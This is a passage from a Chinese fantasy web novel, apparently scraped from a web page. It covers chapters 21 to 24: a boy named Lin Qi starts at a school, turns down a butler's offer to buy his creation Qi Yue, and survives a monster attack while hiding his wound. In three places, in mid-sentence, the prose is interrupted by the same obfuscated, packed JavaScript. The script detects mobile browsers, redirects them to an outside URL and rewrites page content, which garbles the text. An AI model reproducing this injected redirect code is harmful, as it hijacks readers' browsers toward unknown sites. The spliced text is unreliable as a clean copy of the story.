林栖一开始很不自在,反复在心里默念不听不看,但后来发现,那些视线大部分是冲着祈越去的。 和这人走在一起,就像提灯走夜路,小飞虫都是冲着灯光去的,就算偶尔撞他身上,也不会停留太久。 这很容易理解。 大家想看的是顶级造物,而他只是署名了顶级造物的某个普通活人。 想明白了这点之后,林栖开始认真扮演一块背景板,身体放松,双手下垂,散开视线焦点…… 做完入学登记,观沄像其他家长一样,把林栖送到公寓楼下。 “周末我来接你回家。” “那我在哪等你? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643459|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “校车站吧,下车那里有长椅,我还可以顺便看一会儿书。” 林栖听懂了观沄的意思,默默决定早点过去,不让他有机会看书。 他点点头,跟观沄挥手告别。 这就算是正式入学了。 造院和驯院共用一栋学生公寓,驯院新生大多带着异兽幼崽入学,所到之处一阵鸡飞狗跳—— “你这母鸡身上有跳蚤吧?我看见了,刚有东西往外蹦。” “你才母鸡!让你家狗把嘴松开!全是口水!脏死了!” 公寓楼总共七层,底层架空,顶层带个露台花园。 老式建筑没有电梯,而且楼梯很窄。 林栖拖着一个几乎和他一样高的行李箱走到单元入口,比划了一下,确定竖着拎不上去,于是把箱子原地放倒。 他刚准备再拎起来,就听身后有人道:“你是造院的吧?看你这个豆芽菜的身板儿,真拎上去估计腰都折了,要帮忙吗?友情价,一趟三百。” 林栖回头,就见一个身高腿长的少年正朝他笑,从肤色到身形,一看就是驯院学生。 他说不用,拎起箱子走了几步,立刻亲身感受到,观沄是真的给他塞了很多东西…… 行李箱的密度堪比石头。 而且不是单纯的重,是笨重,几乎每次迈步,他都会被箱子绊脚,只能半步半步地往上挪。 驯院学生站着看他笑话,片刻又道:“给你打个折吧,两百九十九。真的没收你贵,你们造院新生今年分在七楼,算上架空,实际上是八楼,而且顶层是加盖的,楼梯特别窄。刚刚已经摔过一个了,脚腕子肿得老高,你也不想刚入学就残疾吧?” 林栖仰头看向一米外的楼梯转角,试图走快一些,但动作幅度稍大一点,就听到箱子碰到台阶发出“砰”的一声。 他太矮了。 驯院学生在后面拍着手笑,“一听就是好箱子,真响,可惜就是人不太行,你们造院都跟没吃饱饭一样。” 林栖只当听不见,继续往前走,忽然却觉眼前光线一暗,走在前面的祈越不知什么时候回了头,站在比他高一级的台阶上,俯身,直接伸手来拿箱子。 林栖抓着把手没动。 “松开。”祈越看向他时,脸上分明写着:不然连你一起拎上去。 威胁有效,林栖松手了。 眼见身形单薄的少年拎起硕大一只箱子,动作却十分轻松。 驯院学生在后面撇嘴点评:“这也是个没吃饱的。” 祈越示意林栖走前面,自己拎着箱子,悠然开口:“当然没你吃得饱,肌肉都长进脑子里了,劈开脑壳光滑一团连半道褶子都没有,有这种出栏率不去养殖场都算委屈人才。” 如果只听语气不听内容,这人似乎在说“今天天气很好,很高兴认识你”。 驯院学生听他说完,在心里反刍一遍才回过味儿来,自己好像被人骂了? 林栖房号701,单人间,带半个阁楼,但没楼梯,只有一道直上直下的消防梯,旁边是一个很迷你的生活阳台。 进屋之后,林栖想说一声谢谢,祈越却先一步堵了他的话,“别谢,没想帮你,我是嫌你走路太慢。” 哦…… 林栖又把嘴巴闭上了。 走廊对面住的也是造院新生,如果仔细看,就会发现这会儿每扇门都留着一条八卦的窄缝儿。 门后面的学生要么竖着耳朵,要么探着脑袋,都在关注701的动向。 林栖关门时,甚至看见其中一条门缝朝他眨了一下眼睛。 林栖:“……” 顶楼房间沉闷,有种烈日烘烤过的干热。 林栖绕了一圈,跟这屋子不熟,不太想坐,于是蹲在地上,开始收拾行李。 箱子塞得太满,拉链已经绷到极限,一打开就噼里啪啦滚出一堆零碎,包括人类幼崽吃的营养罐头、毫无实际用途的小摆件以及一大把松果球。 箱子里隐隐透出一点松烟墨的香味。 林栖垂着脑袋,吸了口气。 这一刻,不想上学的心情达到了顶峰。 他想回去。 他可以吃观沄做的糊味煎蛋,可以喝那些甜死人的果汁,也可以坐在屋里写一天字…… 隔袋里还插了一把弹弓。 皮筋上别着一张小纸条,上面歪扭扭地写了一行独门绝技。 林栖查了字典,那四个字是:瞄准再打。 ……谢谢,学到了,很有道理。 他把那些松果球捡起来,正要找位置放,就听到有人敲门。 一道经过岁月打磨的温和的嗓音隔门传来:“请问,林栖林同学是住在这一间吗?” 林栖下意识地回头看了一眼,起身开门。外面站着一个戴眼镜的中年男人,一身棕色西装沉稳熨帖。 中年男人微笑着,向林栖送上一盒包装极精美的点心。 “上午好,祝您入学愉快,我是傅家的生活管家,谨代表我家小主人前来问候,这里是我的名片——” 22. 第 22 章 点心盒上绑着香槟色的丝质缎带,缎带下方压着一张名片。 林栖接过盒子,看了一眼名片。 管家微笑道:“今年的新生公寓太小,不知道您住得习不习惯?” “还好。”林栖配合一句,等着对方表明来意。 管家:“如果有需要的话,我可以帮您申请别墅区的公寓。现在还有两个套间空着,大的那套一百一十平米,两居室,有衣帽间和温泉浴缸,小的那间一百平米,一居室,带小露台和厨房,我个人比较推荐小的那套,离院里更近,上下课都比较方便。” 林栖想到自己不是一个人来上学的,还随身带着那么大的一个祈越,心动了一瞬间,然后摇了摇头。 管家似乎以为林栖怕惹事,解释道:“您放心,这完全符合学校规定,只要有合适的理由,学生都可以向校方提出申请,只不过一般新生不了解这些,也不知道怎么处理申请手续,我这边提前了解过,已经预备好了申请材料,随时可以提交上去。” “不用了,谢谢。”林栖没说拒绝理由,这样对方就不会针对他的理由再往下聊。 这时走廊有人经过,管家温和一笑,转而聊了几句天气,待脚步声走远,才继续道:“住在这边也好,离同学近,不过房间确实有点小,放不下太多行李。” 林栖隐约猜到了一点什么,但没说话,只是等着对方继续。 “是这样的。”管家终于进入正题,“您也知道,署名造物只是一个考试题目,现在您已经通过考试,顺利入学,也就是说,您的这件造物已经完成了它最大的作用。” “我冒昧猜想,把这样一件造物带在身边也不算特别方便,您或许会有兴趣处理闲置,而我家小主人对收藏一向很有兴趣,也很乐意向您购买闲置。” 他的语气像在谈论一件二手家具,林栖明明能听懂,却还是隔了一会儿才反应过来,对方的意思是:想买祈越。 林栖觉得很荒诞。 就像有人说“既然你现在坐着不动,不如先把腿锯了卖掉”一样荒诞。 他直接道:“不卖。” 对方脸上没有一丝多余情绪,只是保持礼貌微笑,“我知道,这是一件很珍贵的造物,所以价钱不是问题,我家小主人从不占人便宜,如果您有其他附加条件也可以一并提出,我会尽可能地让您满意。” 林栖摇头,心里堵着一股说不清的烦躁,一个字都不想多说,直接把点心盒子塞回对方手里,一把关了房门。 温和的声音隔门传来,“那么您先考虑一下条件,我会与您保持联系。” 脚步声顺走廊远去。 祈越站在阳台门前,身后是一片隔着玻璃和微尘的刺眼阳光,那双眼睛看向林栖,背光的红色比平时更显深郁。 林栖转身时,祈越目光略微偏过一点角度,刚好与他错开,手指在窗台轻轻一抹,点评道:“这灰厚得可以种树。” 林栖心里那点莫名的情绪瞬间被打破了,闻言也在桌上抹了一下。确实有灰,但只是浅浅一层,别说种树,连苔藓都养不活。 他在心里嘀咕:你是不是洁癖? 几乎同时,祈越道:“我还以为你有洁癖。” 林栖静了静,慢半拍地眨了下眼。 他好像忘了自己还有一个洁癖人设…… 如果真是洁癖,就不会徒手摸灰。 和观沄一起住的这段时间,他有点偷懒,没刻意维持人设。 这么快就生疏了…… 片刻,林栖淡定开口:“不严重。” 不管对方信不信,反正先糊弄一下。 祈越:“嗯。” 林栖脚趾在鞋子里动了动,从行李箱中找出一包湿纸巾,一边仔细擦拭手指,努力补救人设,一边默默思考,祈越是什么时候发现的? 很明显,这人喜欢独来独往。 如果没有必要,几乎不会在他面前出现。 与其说是流浪猫狗,更像某种野生动物。 所以……在他没留意的时候,这人其实是在观察他吗? 他都观察到了什么? 正想着,就听“咔”的一声轻响,祈越开门去了阳台,隔着倾斜的玻璃反光,留给他一道生人勿近的背影。 风吹来一阵新割过的青草味。 林栖眼睫轻轻一抬,只看一眼就收回视线,想了想,决定先按“洁癖不严重”的方向维持人设。 他继续收拾行李,随即又想到一个问题。 这是单人间。 要在别人眼皮底下维持人设,所有细节都要重新考虑,任何一点疏忽都有可能人设崩塌。 而且他装得越像、装得越久,以后被发现的时候就越尴尬。 这是那种“一个谎言需要用无数个谎言来圆”的经典案例。 林栖蹲在行李箱边,表情逐渐凝滞。 这一瞬间,他忽然觉得,把祈越卖了也不是不行…… 十分钟后,别墅区。 套间内的家具陈设全部重新换过,从墙面到地板,所有细节都彰显着主人独一无二的审美格调。 傅明熙靠坐在一张定制沙发上,随手翻着拍卖图册。 听管家说完,他头也不抬道:“别跟我说不行,去想办法,动动脑子。” 管家恭敬垂着视线,“是,但看您那位同学的态度,应该不会同意。” “我说过要他同意了吗?”傅明熙“啪”的一声将图册扔到桌上,“连我都没有的东西,别人凭什么能有?” “是,那我懂了,这就去办。” …… 照惯例,入学第一周是公共常识课,不分院系,用来给学生熟悉环境。 从中午到下午,林栖被生活老师带着,了解了在校期间最基础的衣食住行。 第一天只有一节参观课,安排在晚饭之后,地点在校史馆。 新生大都刚满十二岁,校方考虑到他们年纪小,初始课程安排十分轻松,基本可以当作饭后消食。 学生们先自由参观展厅,听讲解,再到阶梯教室观看影音资料。 资料介绍了学校各个院系的发展历史,按建院时间排序,第一个就是造院。 老旧的教学楼出现在大屏幕上,当讲解中出现“造物学院”四个字时,忽然有学生在后面接了一句:“垫底——” 声音很小,但脆,像夏夜的蛐蛐儿在砖缝里叫了一声,整栋房子都能听见。 四周顿时飘起一阵哄笑。 公共课不分院系,座位随机,但这会儿只看每个人的反应,就能知道谁是造院学生。 隔着一排,有个学生探头问向林栖:“你是造院的吧?” “是的。”林栖回答。 “哦,没事,我就随便问问。”学生嘿嘿一笑,缩回头去。 接着,右侧五六个位置之外,有人朝林栖看了一眼,螃蟹似的横挪过来,也问:“你是造物院的吗?” 这是个剪着蘑菇头的男孩儿,手腕上扣着一只半球形的卡通手表,说话时一双浅棕色的眼睛睁得很大,每眨一下睫毛都像在扇扇子。 “是的。”林栖回答。 男孩儿直接在旁边坐下,“我也是造物院的。” 他手里抓着一只鼓鼓囊囊的白色塑料袋,随着动作发出哗哗声响。 坐下之后,他把袋子放在自己腿上,从中摸出一袋薯片,一边塞给林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643460|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栖,一边道:“我叫乐贤。” “谢谢,不用了。我叫林栖。” 乐贤把薯片放回去,又换了一包小熊饼干,依然递给林栖,道:“我叫乐贤。” “谢谢,我不要。”林栖再次拒绝。 名叫乐贤的男孩儿把头埋进塑料袋,好像小狗刨坑一样,发出一阵哗啦啦的翻找声,引得前排几个学生频频回头,他自己却毫不在意。 林栖以前在福利院见过很多“不一样”的孩子,几乎立刻知道,这个男孩儿也和别人不太一样。 好像活在一个只属于自己的气泡里。 片刻,响声停了,旁边递来一根巧克力脆皮棉花糖,小兔子造型,包着七彩流光的漂亮糖纸。 男孩儿看着他说:“我叫乐贤。” 这次,林栖接了零食。 这个动作仿佛按到了男孩儿身上的确认键,他忽然就不折腾了,只是静静看着林栖,仿佛在等待每天都会准点播放的晨间新闻。 于是,林栖再次开口:“我叫林栖。” 乐贤终于收回视线,开心地拆开袋子,安安静静又清清脆脆地吃起他的小熊饼干。 自我介绍——分享零食——得到回复。这三个步骤似乎是种固定搭配,少一个都不行。 前方屏幕上继续播着院系介绍,乐贤既不听课,也不闲聊,只是认真吃着他的零食,一会儿微微摇晃身体,一会儿快速眨巴眼睛。 林栖只看他的反应,就能猜到哪种零食比较好吃。 院系介绍相当无聊,半场下来,学生已经溜得差不多了,教室里只剩下十几个人,其中还有一半正在打盹儿。 讲到驯院时,远处响起几声突兀而厚实的掌声。 林栖余光瞥见乐贤把五张薯片叠成一摞,一口气塞进嘴里,牙齿间传出一串回音悠长的脆响。 “咔嗤……” “轰——!” 变故突生。 巨响中,地板传来颠簸的震颤。 教室仿佛一只小纸盒,先被人捏在手里,又狠狠摔在地上。 远处传来一阵断裂声响,地面好像春天化冰的湖,乍然分崩之后又碎开无数裂隙。 密集的咔咔声仿佛一只冰冷无骨的手,顺着人的脊椎直往上爬。 一阵凄厉摩擦声后,脚下砖石骤然向上掀翻,裂隙中穿出无数道扭曲的黑色影子,从地面一直贯穿天顶。 一阵混乱惊叫声中,光线瞬息变暗。 教室好像成了原始丛林,漆黑巨木盘根错节,枝杈间连缀着数不清的扭曲藤蔓。 尘土中蔓延开潮湿腐败的腥臭味,像是铁铲翻起了沉积在湖底的淤泥。 残存的顶灯闪了一下。 一束光线曲折坠落。 灯影下方,一个学生被砖缝卡着脚踝,正在试图挣脱,忽然周围光线一暗,他惊恐抬头,眼中投映出一道缓慢移动的诡异黑影。 黑影像是一根烧焦后又泡皱了的人手,前端支开几根枯瘦的枝杈,手指似的向内蜷曲,以一种极慢的速度左右扭动。 片刻,枝杈舒展开来,露出包藏在内部的密集小刺。 小刺尖端猩红,呈半透明状,细细向内勾起,像某种食虫植物的叶片,或是野兽舌尖上的倒刺。 忽然,藤蔓一动,画面在男孩儿眼中骤然放大。 猩红倒刺仿佛可以穿透瞳孔,钩入脑髓。 惊叫声瞬间穿透整间教室。 同一时间,沉寂多年的预警系统发出一声爆鸣,刺眼的白光从高处直直落下。 如同一道惊雷悍然砸落,所有人同时心中一颤。 这警报声是……怪物。 学城里有怪物!!! 23. 第 23 章 从外面看,校史馆像一只被荆棘扎透了的盒子,破损的墙面穿出无数黑影。 所有人都以为学城是最安全的地方,而现在,最安全的地方居然也有怪物。 比场面先乱起来的是人心。 “别慌,大家别慌!”老师的声音从门外传来,气息有些不稳,“场馆有防护,巡逻队就在外面!怪物等级不高,大家别慌,先想办法躲避——” 室内空间被庞大的怪物躯体切得支离破碎,学生稚嫩的嗓音从角落里断续传出——抽泣和求救声在诡异的阴影之间回荡。 后排座椅好像脱轨列车一样掀翻在地。林栖躲在椅背和墙壁的夹缝中,悄无声息地缩成一团,闻言,把自己又往缝里挤了挤。 从他这里看不到其他人的位置,视野中无数黑影交织成网,像是某种巨大的海底生物,正缓缓展开它的触角。 林栖静静观察周围。 这时前方传来“哗啦”一声脆响。 一只白色塑料袋被藤蔓挂住,向前拖拽一段,又掉在地上,撒出一堆花花绿绿的零食袋子。 接着就听有人轻轻“啊”了一声。 林栖看到一只手贴着地面,从夹缝里伸了出来,五指用力张开,仿佛每个毛孔都在用力,指尖一寸寸地往前挪,想要拿到那只袋子。 林栖蜷起身子,眼睛贴着缝隙看向旁边,“乐贤,别动……” 但是话说晚了。乐贤像只没骨头的小猫,已经趴着身子,从缝隙里挤了出去,钻过满地狼藉去拿袋子。 “嘶”的一声贴着地面传来,近处一根藤蔓忽然动了,朝着袋子旁边蠕动过去。 乐贤蹲在一片扭曲舞动的阴影下,仿佛身处巨兽口边却毫无所觉,只是撑开袋子,捡起零食往里面塞。 林栖又叫了一声,“乐贤——” 男孩儿像是终于听到他的声音,大睁着一双浅棕色的眼睛转头,回应道:“林栖——” 就在这时,地上那根蠕动的藤蔓左右一甩,末端扫到乐贤脚腕,仿佛一根水草缠住溺水的人,忽然向内卷绕起来,扭动着,把男孩儿往后拖拽。 地面发出细碎的摩擦声,更多的藤蔓移动过来。可怕的是,男孩儿本人完全不怕,睁着一双大眼睛到处打量。 林栖沉默一秒,忽然从藏身处钻了出来,走到墙角,扒开几块碎石,找到了被埋住的消防斧。 片刻,稚嫩的手指握住木杆,双臂高举,用力朝藤蔓砍了下去。 金属触到地面发出一声锐响。 藤蔓应声断开,扭动着滚到一旁,林栖一把捉住乐贤,把他往躲避处拽,但刚走两步,余光就见黑影一晃,几条藤蔓猝然朝他横扫过来。 身体本能比思考更快一步反应,他抬手护住乐贤的脸,同时把人朝反方向推开。 沉重的消防斧“当啷”一声落地。 下一秒,林栖手上传来一片凉意。 藤蔓上的倒刺像是某种刑具,一旦碰上皮肤,就会狠狠刮下一层血肉。 手臂上,白皙的皮肤表层绽开,细密的血珠渗出,转瞬连成一片。 林栖愣住了。 第一反应不是躲避,而是捂住伤口。 空气嗡的一震,又有一丛藤蔓朝他卷绕过来,黑影几乎擦着下颌划过。 他紧紧捂着手臂,慢半拍地退了一步。 眼看着一滴血从指缝里滚了下来。 远处传来破门声,一片嘈杂,救援已经进场。 像是感知到了危险,密林般的黑影忽然开始躁动不安。林栖从远处收回视线,看向脚边的消防斧,明知道此刻该做什么,手却无法从伤口移开。 藤蔓裹挟着风声抽来,林栖迟钝地偏了下头,同时听见一道人声被风推到自己耳边:“你是站在这里当靶子吗?躲开。” 不耐烦的语气十分耳熟。 林栖心中轻轻冒出一颗问号。 缓缓转动视线,在嘈杂混乱的底色上看见了一道生人勿近的背影。 祈越站在几步之外,手上扯着一根藤蔓,猛地下拉,一脚踩住,同时单手提起斧头,利落砍下。 林栖看见他戴了一副黑色手套,绷带一直绕到腕骨。 金属撞击地面的余音中,祈越皱眉扫他一眼,“碍事,躲开。” 碍事的林栖:“……” 紧接着“咔”的一下,又是一条藤蔓应声落地。 林栖简单评估了一下祈越的生存能力,回头一把抓住蹲在地上捡糖豆的乐贤,推搡着把人塞到椅子后面,又用自己堵住出口。 躲避处没有零食,乐贤像一只断奶期的猫崽,看不到逗猫棒就老实了。 林栖从躲避处朝外探了探头,深黑澄澈的眼睛在暗处透着一点反光,谨慎而好奇,像某种毛绒绒的动物幼崽。 祈越的样子不像在打怪物,而像是在给树修剪枝条,只把那些伸到面前的藤蔓斩断,仿佛在教怪物什么是边界感。 乐贤忽然道:“你受伤了。” 林栖瞬间捂紧手臂,“我没有。” 乐贤盯着他指缝里的血痕,语气笃定,“你受伤了。” 空气静默一瞬,忽然旁边传来“哗啦”一声,一袋东西被人随手扔了过来。 袋子扎了口,但肚子破了,能看到里面的消毒水和绷带。 林栖目光短暂迟疑一瞬,随即拿出绷带,在自己伤口缠了几圈,又问乐贤身上有没有伤。 乐贤“唔”了一声,直接把手伸到林栖眼皮底下,他刚揪掉了一片倒刺,指甲旁边有点渗血。 好吧。 林栖默默给他拿了一根消毒棉签。 做完这些,他才探头出去,祈越站在两米之外,依然只留给他一道生人勿近的背影。 于是他默然片刻,又把咬在齿间的“谢谢”吞了回去,默默缩回脑袋。 空间狭窄沉闷,林栖有些出汗,几缕黑发湿漉漉地贴着耳鬓。 他用染血的右手握住左手手腕,食指轻轻挑开绷带边缘。 视野中,红线细密盘绕,左右穿梭着,勾连起破碎的肌肉组织。 一道血痕在右手指缝中缓缓移动,凝成一颗一颗的细小血珠,像某种瓢虫,顺着食指尖端爬行,从右手滑向左手,又从绷带下的缝隙钻入伤口…… 即使在林栖自己看来,这种画面也十分诡异,比外面的怪物更像怪物。 等血迹消失之后,他用消毒水擦了擦手,想了想,又撕掉了手指上那片伪装用的创可贴。 可能是心虚,也可能是无聊,他将它捏在手里,折叠再折叠,一直到实在折不动了才停下。手指在地面摸索片刻,找个砖缝把它塞了进去。 过程中,外面的嘈杂渐渐停了。 又过了几分钟,救援人员和老师一起找了过来。 怪物已经控制住了,但场面依然混乱,周围是各种陌生的人和声音,他和乐贤像两只小动物,被老师指挥着左转右转,绕来绕去地出了校史馆。 楼间空地上临时划出一片安置地点,巡逻队在最外围警戒,内圈是老师和校医,学生被围在中心,像一群突然遭遇狼群的小羊,被牧民一只只赶进圈里。 众所周知,接触怪物很有可能造成侵蚀,一旦被怪物攻击受伤就更严重。 如果不能及时处理,最快一两天内就会出现侵蚀症状,愈伤组织会发生畸变,长成尖刺和鳞片,逐渐从伤处向外蔓延。 这场怪物袭击同时发生在两处场馆,几十名学生直接遭遇怪物,幸运的是无人重伤,不幸的是伤情波及很广。 校医已经在二十多名学生身上发现了不同程度的擦伤,其中一半都是刚入校的新生。 伤势本身并不严重,但每个人脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643461|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上都是一副濒死般的惊恐。 如果现在受到侵蚀,他们很可能会失去入学资格,甚至被驱离学城。 受伤学生被集中在一个简易帐篷中,由几名校医单独处理。另外还有几名校医守在外围,等着安置新救出的学生。 林栖手上缠了绷带,到达现场时,一名校医立刻上前询问情况。 一路上,周围的声音都在议论怪物和侵蚀,林栖已经被动听了很多,也知道过来之后一定会有人问。 他低着头,蹭了蹭鼻尖,有点不好意思地说自己是在逃跑的时候摔倒了,擦破了一点皮,不过没事,已经有人帮他上过药了。 在说有人帮他上药时,他的眼神无意识地看向正忙碌的另外几名校医,仿佛想找出那位帮他上了药的医生。 听到只是摔伤,校医明显松了口气,如果放在平时,一个学生从怪物袭击现场出来,肯定会被一群校医围着处理伤口,即使确信无事也要反复检查几遍。 不过这会儿人多事忙,他也顾不上那么仔细,只是从衣兜里摸出一包饼干塞给林栖,嘱咐他不要乱跑,有问题随时叫人。 林栖刚走两步,就听见许慎行的声音破开嘈杂穿透过来—— “林栖——过来过来!让我看看!” 于是林栖又把和校医说过的话重复了一遍。 许慎行似乎并不相信,只是更不屑于怀疑,“你自己确定没事就行。” 说着朝他左右扫了两眼,又道:“你的那件造物呢?今天没带出来?” 林栖回答:“没带出来。” 确实不是他带的,是祈越自己跑出来的,而且现在又不知道跑哪儿去了。自从救援队出现,这人就不见了。 许慎行朝远处看了一眼,似乎有事急着要走,却又忽然想到什么似的,看着他道:“你当时可是给我交了一张白卷。” 林栖:“……” 怎么突然要翻旧账? “估计你也不懂什么造物常识。”许慎行嘴巴一撇,语速很快,“先说两点,第一,怪物不会主动攻击造物,第二,造物不会受到侵蚀,所以不用担心你那混蛋造物,先把自己顾好。” 他从旁边箱子拿起一瓶果汁塞给林栖,“常识也很重要,以后要好好学。行了去吧,待着别乱跑,现在还不能确定安全。” 林栖点点头,选了个没人的角落窝着,捏着饼干和果汁静了片刻,视线飘散出去,绕着人群转了几圈,终于在空地外的一棵树上停住。 一杆路灯嵌在浓密树冠里,把手掌形的梧桐树叶照得晶莹透亮。 在一根距离地面几米高的树枝上,隐约可以看见一道人影—— 祈越斜倚树干坐在那里,身上覆满暖黄交错的光影,手里似乎还捧着本书。 林栖:“……” 这么悠闲吗? 果然是野生动物,还是夜行性的。 校方把学生圈在这里待了一个小时,等排查完了安全隐患,才放他们回到住处。 公寓楼外,每条小路都有巡逻队在巡视看守。 林栖回去时,灯光亮着,祈越已经在房里了。 书桌上支着一盏台灯,扩散的圆形光圈照亮了一本厚厚的书。 祈越单手持书,满身写着生人勿近,连手里的书都好像带刺一样。 人虽然只是坐在角落,却像是把整间房都霸占光了。 林栖站在门前,视线在房间里飘忽一圈,又回到祈越身上,然而等了好一会儿,祈越也没抬头看他。 对方把他当成空气,不给一点反应,于是他也找不到时机开口。 憋了一路的感谢像是一只厚信封卡在邮筒里。 既拿不回来,也寄不出去。 堵得慌。 林栖只能暂且放弃这封信,另换一封,问祈越:“晚上你想睡哪?” 24. 第 24 章 毕竟只有一张床。 祈越没抬头,只竖起一根食指,指尖朝向天花板。 意思是,阁楼。 林栖:“那你要被子吗?我有两张,都是没用过的。” 祈越:“不要。” 林栖还想再问,祈越却道:“不好意思,我在看书。” 发音是“不好意思”,实际上听起来更像“滚蛋”。 哦…… 林栖驱着自己默默滚蛋,去洗了手,喝了点水,收了行李,然后打开衣柜,把挂好的衣服顺着横杆从左到右扒拉一遍,又慢吞吞地走回书桌旁边。 他目不斜视地掏了掏兜,把一根巧克力脆皮兔子糖、一包黄油曲奇小饼干、一瓶青提苹果汁依次放在桌角,想了想,又从自己的零食筐里拿出几样补充进去。 过程中难免发出一些细细脆脆的塑料声响,祈越从书中抬起视线,掸灰似的,朝旁边扫了一眼,林栖来不及收回目光,刚好和他撞上。 空气一阵沉默。 林栖指着零食,“这些你……” “不吃。” “哦……” 祈越翻着书页,“你还是留着自己吃吧,毕竟,等变成怪物就吃不成了。” 林栖花了几秒钟时间解读这句话的意思。 然后,他确定了,祈越不但看见了他是怎么受伤的,而且还知道他没找校医处理伤口。 这个人怎么什么都知道…… 林栖耳边盘绕着一些嗡嗡杂音,像是有一堆气泡从深水中往上飘,他目视前方,眼睛一眨不眨,“这里还有蓝莓果汁,对眼睛好的,你可以喝一瓶。” 他要说他看错了,眼睛不好。 祈越视线在文字间逐行下移,落到最底时又随着翻页动作向上抬起,顺势在林栖脸上一停,“嗯,趁现在提升一下视力,等着看你变成怪物之后有多难看。” 林栖抿住嘴唇,一瞬间很想拿零食砸他。 公寓楼木门单薄,隔着门板和门缝,能清楚听到外面的脚步声,有人在爬楼梯,有人在顺着走廊溜达,声音带着一点空旷回音,哒哒哒地来回游移。 经历过一场怪物袭击,学生们在自己屋里待不住,没到变声期的嗓音好像麻雀,叽叽喳喳吵成一窝。 高年级的学生也跑上来打听情况。 四周回荡着“怪物”两个字,好像水管漏水,淹了整个楼层,声音不断顺门缝往里渗,水里带着杂质,时不时飘来几片“幽冥”。 叽喳声里夹杂着恐惧、后怕、兴奋、好奇……有人说,这次怪物袭击绝对和幽冥有关,而且有理有据—— 1.猎捕队主动去抓幽冥,它肯定生气了。 2.自从防御体系建立以来,主城区里只进过两次怪物,上一次也是幽冥。 1是动机,2是能力,证明完毕。 “但……但是幽冥没这么弱吧?” “幽冥本冥肯定不弱,但这可能是它头发呢?你想想看,是不是?那个怪物,一根一根的,是不是很像头发?” “是噢……” “嗯……幽冥还有头发?” 他们越说越兴奋,直到管理老师上来查房,叽喳声才一哄而散。 管理老师盯着学生熄灯上床,走廊终于安静下来,但没多久,细微的动静就像修剪过的草坪,淋一场雨就又开始冒头。 走廊尽头,720室,几个男孩儿正悄悄凑在一起,每个人都穿着睡衣,趿着拖鞋,怀里还抱着一兜零食。 三个造院,两个驯院,都是这一届的新生。驯院两个是双胞胎,哥哥叫金多,弟弟叫金少。 地面中央放着一盏应急灯,冷白光线照亮一圈稚嫩面孔,每人脖子上都套着一根红绳,尾端缀着叠成三角形的符纸。 “你这个真有用啊?”金多小声问。 “当然有用了。”姜宝宝信心满满。 “我们三个就是活生生的例子,我自己今天出门挂的就是这款,结果刚逛完展厅就肚子疼,提前跑了,根本就没遇上怪物。还有小夏,今天拿着幸运符,逃课去了图书馆,一直到闭馆才出来,老师找他都找疯了。” “……逃课去图书馆?”这还是人话吗? “那还有他呢?”金多指向坐在一旁吧嗒吧嗒嗑松子的男孩儿。 “乐崽就更是了,你们不知道,当时可惊险了,他就在那间教室,绝对是现场中的现场,怪物都抓着他的脚腕子了,结果当场就来了一个遇难成祥。” “真的假的?都被怪物抓着脚了还能没事儿?”金少表示怀疑。 “对啊,所以才说运气好,乐崽这边刚一被抓,旁边莫名其妙就冲出个人,咔咔就把怪物砍了,乐崽裤子都划破了,但脚上一点儿伤都没有,连校医都说神奇。” 金少:“真的假的?你们造院还有这种猛男?” “这你就不知道了吧,人家可是,咳咳——逆风翻盘的无冕之王·低调的补考天才·顶级造物的主宰者·身高不到一米五的怪物杀手·颜值被才华所掩盖的预备役校草·道德情操足以超越才华的活体救世主——林栖林同学,请鼓掌!” 姜宝宝说完,双手上托,比了个起立手势。 乐贤立刻配合地开始鼓掌,手里松子哗啦掉了一地,于是他一边继续拍手,一边蹲在地上捡松子。 金多撇嘴:“说得这么好,那你怎么不叫他来?” 姜宝宝笑开两排白牙,“实不相瞒,我有个绝症,一见好学生就头疼。” 金多金少:“?” 不是,好好的,怎么突然骂人呢? 而且他们考试名次一个第二,一个第三,怎么就不是好学生了?? …… 午夜过后,传说中的怪物杀手·猛男林栖悄无声息地下了床。 他捏着一盏小小的手电筒,从床头柜里摸出一只文具盒,把它带进洗漱间,缓缓转动旋钮,从里面锁了房门。 门缝里透出一线白光,左右晃了几下,终于在一个角度固定下来。 大约半小时后,林栖回到床上躺好,仿佛什么都没发生过一样,但仔细看,就能发现他手上的绷带重新包过,有些细节和之前不太一样。 闭眼之前,他看着房顶上的阁楼入口,缓缓吐出一口气来。 伤口画好了。 而且画得很真。 第二天一早,天刚亮,所有新生就被带去接受净化。 出门之前,生活老师特意嘱咐,让林栖把造物一起带上,说净化结束之后,要给造物做个登记。 净化分两个阶段,第一阶段所有人都参加,类似于去教堂做礼拜,听几位祈院老教授讲经和做祝祷。 